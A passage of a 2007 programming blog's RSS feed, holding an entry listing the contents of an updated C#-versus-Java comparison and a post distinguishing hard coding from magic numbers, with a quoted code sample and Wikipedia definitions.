        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=b6ffcd51-ced4-4540-9488-ac51f07dbc9a" />
      </body>
      <title>C# from a Java Developer's Perspective v2.0</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,b6ffcd51-ced4-4540-9488-ac51f07dbc9a.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/04/30/CFromAJavaDevelopersPerspectiveV20.aspx</link>
      <pubDate>Mon, 30 Apr 2007 15:13:20 GMT</pubDate>
      <description>&lt;p&gt;
Almost six years ago I wrote an article entitled &lt;a href="http://www.25hoursaday.com/CsharpVsJava.html"&gt;C#
from a Java Developer's Perspective&lt;/a&gt; which is still one of the most&amp;nbsp;popular
comparisons of C# and Java on the Web today. This update to my 2001 article comparing
the primary features of C# and Java is a few years later than I planned. Given the
amount of requests I've gotten to update it to account for the changes in Java 1.5&amp;nbsp;and
C# 2.0 I'm sure there are many out there who'll find it useful. Below is the table
of contents so you can jump to whatever topic interests you. 
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#same"&gt;The More Things Change
The More They Stay The Same&lt;/a&gt;
&lt;br&gt;
This section describes concepts and language features that are almost exactly the
same in C# and Java. 
&lt;ol&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#object"&gt;We Are All Objects&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#keyword"&gt;Keyword Jumble&lt;/a&gt; &lt;img src="http://docs.rage.net/howto/updated.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#vmclr"&gt;Of Virtual Machines and
Language Runtimes&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#heap"&gt;Heap Based Classes and
Garbage Collection&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#jagged"&gt;Arrays Can Be Jagged&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#noglobal"&gt;No Global Methods&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#interfaceMI"&gt;Interfaces, Yes.
Multiple Inheritance, No.&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#strings"&gt;Strings Are Immutable&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#noextend"&gt;Unextendable Classes&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#exceptions"&gt;Throwing and Catching
Exceptions&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#staticconstructor"&gt;Member Initialization
at Definition and Static Constructors&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#boxing"&gt;Boxing&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;br&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#samediff"&gt;The Same But Different&lt;/a&gt;
&lt;br&gt;
This section describes concepts and language features that differ either only in syntax
or in some similarly minor manner between C# and Java. 
&lt;ol&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#main"&gt;Main Method&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#inheritance"&gt;Inheritance Syntax&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#is"&gt;Run Time Type Identification
(is operator)&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#namespace"&gt;Namespaces&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#constructdestruct"&gt;Constructors,
Destructors and Finalizers&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#synchronization"&gt;Synchronizing
Methods and Code Blocks&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#access"&gt;Access Modifiers&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#reflection"&gt;Reflection&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#constants"&gt;Declaring Constants&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#primitives"&gt;Primitive Types&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#arraydecl"&gt;Array Declarations&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#baseconstructor"&gt;Calling Base
Class Constructors and Constructor Chaining&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#params"&gt;Variable Length Parameter
Lists&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#generics"&gt;Generics&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#foreach"&gt;for-each Loop&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#attributes"&gt;Metadata Annotations&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#enums"&gt;Enumerations&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;br&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#dejavu"&gt;An Ever So Slight Feeling
of Dèjà Vu&lt;/a&gt;
&lt;br&gt;
This section describes concepts and language features that exist in C# that are similar
to those that exist in Java but with a significant difference. 
&lt;ol&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#nested"&gt;Nested classes&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#threads"&gt;Threads and Volatile
Members&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#operatoroverloading"&gt;Operator
Overloading&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#switch"&gt;switch Statement&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#assemblies"&gt;Assemblies&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#collections"&gt;Collections&lt;/a&gt; &lt;img src="http://docs.rage.net/howto/updated.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#goto"&gt;goto (no longer considered
harmful)&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#virtualfinal"&gt;Virtual Methods
(and final ones too)&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#fileio"&gt;File I/O&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#serialization"&gt;Object Serialization&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#docgen"&gt;Documentation Generation
from Source Code Comments&lt;/a&gt; &lt;img src="http://docs.rage.net/howto/updated.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#multipleclasses"&gt;Multiple Classes
in a Single File&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#importing"&gt;Importing Libraries&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#events"&gt;Events&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#interop"&gt;Cross Language Interoperability&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#different"&gt;Now For Something
Completely Different&lt;/a&gt;
&lt;br&gt;
This section describes language features and concepts that exist in C# and have no
Java counterpart. 
&lt;ol&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#idisposable"&gt;Deterministic Object
Cleanup&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#delegates"&gt;Delegates&lt;/a&gt; &lt;img src="http://docs.rage.net/howto/updated.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#structs"&gt;Value Types (Structs)&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#as"&gt;Run Time Type Identification
(as operator)&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#properties"&gt;Properties&lt;/a&gt; &lt;img src="http://docs.rage.net/howto/updated.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#multiarrays"&gt;Multidimensional
Arrays&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#indexers"&gt;Indexers&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#preprocessor"&gt;Preprocessor Directives&lt;/a&gt; &lt;img src="http://docs.rage.net/howto/updated.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#aliases"&gt;Aliases&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#reflectionemit"&gt;Runtime Code
Generation&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#unsafe"&gt;Pointers and Unsafe
Code&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#passbyref"&gt;Pass by Reference&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#verbatim"&gt;Verbatim Strings&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#overflow"&gt;Overflow Detection&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#explicitinterface"&gt;Explicit
Interface Implementation&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#friends"&gt;Friend Assemblies&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#globalnamespace"&gt;The Namespace
Qualifier&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#iterators"&gt;Iterators (Continuations)&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#partial"&gt;Partial Types&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#staticclasses"&gt;Static Classes&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#nullable"&gt;Nullable Types&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#anonymousmethods"&gt;Anonymous
Methods&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;br&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#wishlist"&gt;Wish You Were Here&lt;/a&gt;
&lt;br&gt;
This section describes language features and concepts that exist in Java and have
no C# counterpart. 
&lt;ol&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#checked"&gt;Checked Exceptions&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#wora"&gt;Cross Platform Portability
(Write Once, Run Anywhere)&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#extensions"&gt;Extensions&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#strictfp"&gt;strictfp&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#classloading"&gt;Dynamic Class
Loading&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#interfacefields"&gt;Interfaces
That Contain Fields&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#anoninnerclasses"&gt;Anonymous
Inner Classes&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#staticimports"&gt;Static Imports&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;br&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#conclusion2k1"&gt;Conclusion(2001)&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#conclusion2k7"&gt;Conclusion (2007)&lt;/a&gt; &lt;img src="http://www.25hoursaday.com/weblog/content/binary/new.gif"&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#resources"&gt;Resources&lt;/a&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/CsharpVsJava.html#acknowledgements"&gt;Acknowledgements&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=b6ffcd51-ced4-4540-9488-ac51f07dbc9a" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,b6ffcd51-ced4-4540-9488-ac51f07dbc9a.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=11bff20c-f7d1-460c-86f3-d89e347edbc3</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,11bff20c-f7d1-460c-86f3-d89e347edbc3.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,11bff20c-f7d1-460c-86f3-d89e347edbc3.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=11bff20c-f7d1-460c-86f3-d89e347edbc3</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
The <a href="http://worsethanfailure.com/">site formerly known as The Daily WTF</a> has
an article entitled <a href="http://worsethanfailure.com/Articles/Soft_Coding.aspx">Soft
Coding</a> which contains the following excerpt
</p>
        <blockquote>
          <p>
Most programmers consider “Hard Coding” to be a Bad Thing: it’s hack-like, inelegant,
and all-around lazy code. And as such, many programmers try their damnedest to avoid
it. Unfortunately, this quest of avoidance often leads towards a much worse path:
complication, convolution, and all-around unmaintainable code. It’s a path I like
to call Soft Coding. 
</p>
          <p>
Before I discuss the finer details of Soft Coding, I’d like to briefly define Hard
Coding. It’s the practice of embedding “things that shouldn’t be in source code” directly
inside of source code. The definition is intentionally vague: while most would agree
that database connection strings and logfile directories don’t belong in source code,
there’s a lot of gray area. Take, for example, this following code:  
</p>
          <blockquote dir="ltr" style="margin-right: 0px;">
            <pre>private void attachSupplementalDocuments()<br />
{<br />
if (stateCode == "AZ" || stateCode == "TX") {<br />
//SR008-04X/I are always required in these states<br />
attachDocument("SR008-04X");<br />
attachDocument("SR008-04XI");<br />
}<br /><br />
if (ledgerAmnt &gt;= 500000) {<br />
//Ledger of 500K or more requires AUTHLDG-1A<br />
attachDocument("AUTHLDG-1A");<br />
}<br /><br />
if (coInsuredCount &gt;= 5 &amp;&amp; orgStatusCode != "CORP") {<br />
//Non-CORP orgs with 5 or more co-ins require AUTHCNS-1A<br />
attachDocument("AUTHCNS-1A");<br />
}<br />
}</pre>
          </blockquote>
          <p>
I can already feel some of you cringing: <em>Magic Numbers; String Literals; eww,
that’s a lot of Hard Coding!</em> However, not a single character in that example
is Hard Coded: there is nothing that “shouldn’t be in source code” in the above code.
The function simply implements a very clear and very specific business requirement
with very clear and very specific code. Anything less and it would be Soft Coded. 
</p>
        </blockquote>
        <p>
I think it is a laudable goal for The Daily WTF to branch out into describing best
practices instead of simply gloating at bad code. I assume this is motivated by some
of the comments by Jeff Atwood in his post <a href="http://www.codinghorror.com/blog/archives/000824.html">What's
Wrong With The Daily WTF</a>. However the problem I have with this article is that
it conflates the difference between hard coding and using magic number (or magic strings).   
</p>
        <p>
From the Wikipedia definition of <a href="http://en.wikipedia.org/wiki/Hard_coding">hard
coding</a>:
</p>
        <blockquote>
          <i>
            <b>To hard code</b> or <b>hard coding</b> (also, <b>hard-code</b>/<b>hard-coding</b>, <b>hardcode</b>/<b>hardcoding</b>)
refers to the software development practice of embedding output or configuration data
directly into the <a href="http://en.wikipedia.org/wiki/Source_code" title="Source code">source
code</a> of a <a href="http://en.wikipedia.org/wiki/Computer_program" title="Computer program">program</a> or
other executable object, or fixed formatting of the data, instead of obtaining that
data from external sources or generating data or formatting in the program itself
with the given input. 
<br />
...<br /><b>EXAMPLE: Fixed installation path</b><br />
If a Windows program is programmed to assume it is always installed to C:\Program
Files\Appname and someone tries to install it to a different drive for space or organization
reasons, it may fail to install or run after installation. </i>
          <p>
            <i>
              <b>EXAMPLE: Startup disk</b>
              <br />
Some "copy-protected" programs look for a particular file on a floppy disk on startup
to verify that they are not pirated. If the computer is updated to a newer machine,
which doesn't have a floppy drive, the program now can't be run, since the floppy
disk can't be inserted.</i>
          </p>
        </blockquote>
        <p>
From the Wikipedia definition of <a href="http://en.wikipedia.org/wiki/Magic_number_%28programming%29#Magic_numbers_in_code">magic
numbers</a>:
</p>
        <blockquote>
          <i>The term <b>magic number</b> also refers to the bad programming practice
of using numbers directly in source code without explanation. In most cases this makes
programs harder to read, understand, and maintain. Although most guides make an exception
for the numbers zero and one, it is a good idea to define all other numbers in code
as named <a href="http://en.wikipedia.org/wiki/Variable#Computer_programming" title="Variable">constants</a>. </i>
          <p>
            <i>This is preferable for several reasons:</i>
          </p>
          <ul>
            <li>
              <i>It is easier to read and understand.</i>
            </li>
            <li>
              <i>It is easier to alter the value of the number, as it is not redundantly duplicated.
Changing the value of a magic number is error-prone, because the same value is often
used several times in different places within a program</i>
            </li>
            <li>
              <i>It facilitates parameterization.</i>
            </li>
          </ul>
        </blockquote>
        <p>
          <a href="http://en.wikipedia.org/wiki/Hard_coding">Hard coding</a> is bad because
it assumes that information which should be flexible is actually fixed and unchanging.
On the other hand, using <a href="http://en.wikipedia.org/wiki/Magic_number_%28programming%29#Magic_numbers_in_code">magic
numbers</a> is a code maintenance problem which does not necessarily mean that the
program is inflexible.
</p>
        <p>
        </p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=11bff20c-f7d1-460c-86f3-d89e347edbc3" />
      </body>
      <title>The Difference Between Hard Coding and Magic Numbers</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,11bff20c-f7d1-460c-86f3-d89e347edbc3.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/04/11/TheDifferenceBetweenHardCodingAndMagicNumbers.aspx</link>
      <pubDate>Wed, 11 Apr 2007 10:10:50 GMT</pubDate>
      <description>&lt;p&gt;
The &lt;a href="http://worsethanfailure.com/"&gt;site formerly known as The Daily WTF&lt;/a&gt; has
an article entitled &lt;a href="http://worsethanfailure.com/Articles/Soft_Coding.aspx"&gt;Soft
Coding&lt;/a&gt; which contains the following excerpt
&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;
Most programmers consider “Hard Coding” to be a Bad Thing: it’s hack-like, inelegant,
and all-around lazy code. And as such, many programmers try their damnedest to avoid
it. Unfortunately, this quest of avoidance often leads towards a much worse path:
complication, convolution, and all-around unmaintainable code. It’s a path I like
to call Soft Coding. 
&lt;/p&gt;
&lt;p&gt;
Before I discuss the finer details of Soft Coding, I’d like to briefly define Hard
Coding. It’s the practice of embedding “things that shouldn’t be in source code” directly
inside of source code. The definition is intentionally vague: while most would agree
that database connection strings and logfile directories don’t belong in source code,
there’s a lot of gray area. Take, for example, this following code:&amp;nbsp;&amp;nbsp;
&lt;/p&gt;
&lt;blockquote dir="ltr" style="margin-right: 0px;"&gt; &lt;pre&gt;private void attachSupplementalDocuments()&lt;br&gt;
{&lt;br&gt;
if (stateCode == "AZ" || stateCode == "TX") {&lt;br&gt;
//SR008-04X/I are always required in these states&lt;br&gt;
attachDocument("SR008-04X");&lt;br&gt;
attachDocument("SR008-04XI");&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
if (ledgerAmnt &amp;gt;= 500000) {&lt;br&gt;
//Ledger of 500K or more requires AUTHLDG-1A&lt;br&gt;
attachDocument("AUTHLDG-1A");&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
if (coInsuredCount &amp;gt;= 5 &amp;amp;&amp;amp; orgStatusCode != "CORP") {&lt;br&gt;
//Non-CORP orgs with 5 or more co-ins require AUTHCNS-1A&lt;br&gt;
attachDocument("AUTHCNS-1A");&lt;br&gt;
}&lt;br&gt;
}&lt;/pre&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
I can already feel some of you cringing: &lt;em&gt;Magic Numbers; String Literals; eww,
that’s a lot of Hard Coding!&lt;/em&gt; However, not a single character in that example
is Hard Coded: there is nothing that “shouldn’t be in source code” in the above code.
The function simply implements a very clear and very specific business requirement
with very clear and very specific code. Anything less and it would be Soft Coded. 
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
I think it is a laudable goal for The Daily WTF to branch out into describing best
practices instead of simply gloating at bad code. I assume this is motivated by some
of the comments by Jeff Atwood in his post &lt;a href="http://www.codinghorror.com/blog/archives/000824.html"&gt;What's
Wrong With The Daily WTF&lt;/a&gt;. However the problem I have with this article is that
it conflates the difference between hard coding and using magic number (or magic strings).&amp;nbsp;&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
From the Wikipedia definition of &lt;a href="http://en.wikipedia.org/wiki/Hard_coding"&gt;hard
coding&lt;/a&gt;:
&lt;/p&gt;
&lt;blockquote&gt;&lt;i&gt;&lt;b&gt;To hard code&lt;/b&gt; or &lt;b&gt;hard coding&lt;/b&gt; (also, &lt;b&gt;hard-code&lt;/b&gt;/&lt;b&gt;hard-coding&lt;/b&gt;, &lt;b&gt;hardcode&lt;/b&gt;/&lt;b&gt;hardcoding&lt;/b&gt;)
refers to the software development practice of embedding output or configuration data
directly into the &lt;a href="http://en.wikipedia.org/wiki/Source_code" title="Source code"&gt;source
code&lt;/a&gt; of a &lt;a href="http://en.wikipedia.org/wiki/Computer_program" title="Computer program"&gt;program&lt;/a&gt; or
other executable object, or fixed formatting of the data, instead of obtaining that
data from external sources or generating data or formatting in the program itself
with the given input. 
&lt;br&gt;
...&lt;br&gt;
&lt;b&gt;EXAMPLE: Fixed installation path&lt;/b&gt;
&lt;br&gt;
If a Windows program is programmed to assume it is always installed to C:\Program
Files\Appname and someone tries to install it to a different drive for space or organization
reasons, it may fail to install or run after installation. &lt;/i&gt; 
&lt;p&gt;
&lt;i&gt;&lt;b&gt;EXAMPLE: Startup disk&lt;/b&gt;
&lt;br&gt;
Some "copy-protected" programs look for a particular file on a floppy disk on startup
to verify that they are not pirated. If the computer is updated to a newer machine,
which doesn't have a floppy drive, the program now can't be run, since the floppy
disk can't be inserted.&lt;/i&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
From the Wikipedia definition of &lt;a href="http://en.wikipedia.org/wiki/Magic_number_%28programming%29#Magic_numbers_in_code"&gt;magic
numbers&lt;/a&gt;:
&lt;/p&gt;
&lt;blockquote&gt;&lt;i&gt;The term &lt;b&gt;magic number&lt;/b&gt; also refers to the bad programming practice
of using numbers directly in source code without explanation. In most cases this makes
programs harder to read, understand, and maintain. Although most guides make an exception
for the numbers zero and one, it is a good idea to define all other numbers in code
as named &lt;a href="http://en.wikipedia.org/wiki/Variable#Computer_programming" title="Variable"&gt;constants&lt;/a&gt;. &lt;/i&gt;
&lt;p&gt;
&lt;i&gt;This is preferable for several reasons:&lt;/i&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;i&gt;It is easier to read and understand.&lt;/i&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;i&gt;It is easier to alter the value of the number, as it is not redundantly duplicated.
Changing the value of a magic number is error-prone, because the same value is often
used several times in different places within a program&lt;/i&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;i&gt;It facilitates parameterization.&lt;/i&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
&lt;a href="http://en.wikipedia.org/wiki/Hard_coding"&gt;Hard coding&lt;/a&gt; is bad because
it assumes that information which should be flexible is actually fixed and unchanging.
On the other hand, using &lt;a href="http://en.wikipedia.org/wiki/Magic_number_%28programming%29#Magic_numbers_in_code"&gt;magic
numbers&lt;/a&gt; is a code maintenance problem which does not necessarily mean that the
program is inflexible.
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=11bff20c-f7d1-460c-86f3-d89e347edbc3" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,11bff20c-f7d1-460c-86f3-d89e347edbc3.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=a76eab63-70f0-48b4-8b75-66c366a651cd</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,a76eab63-70f0-48b4-8b75-66c366a651cd.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,a76eab63-70f0-48b4-8b75-66c366a651cd.aspx</wfw:comment>
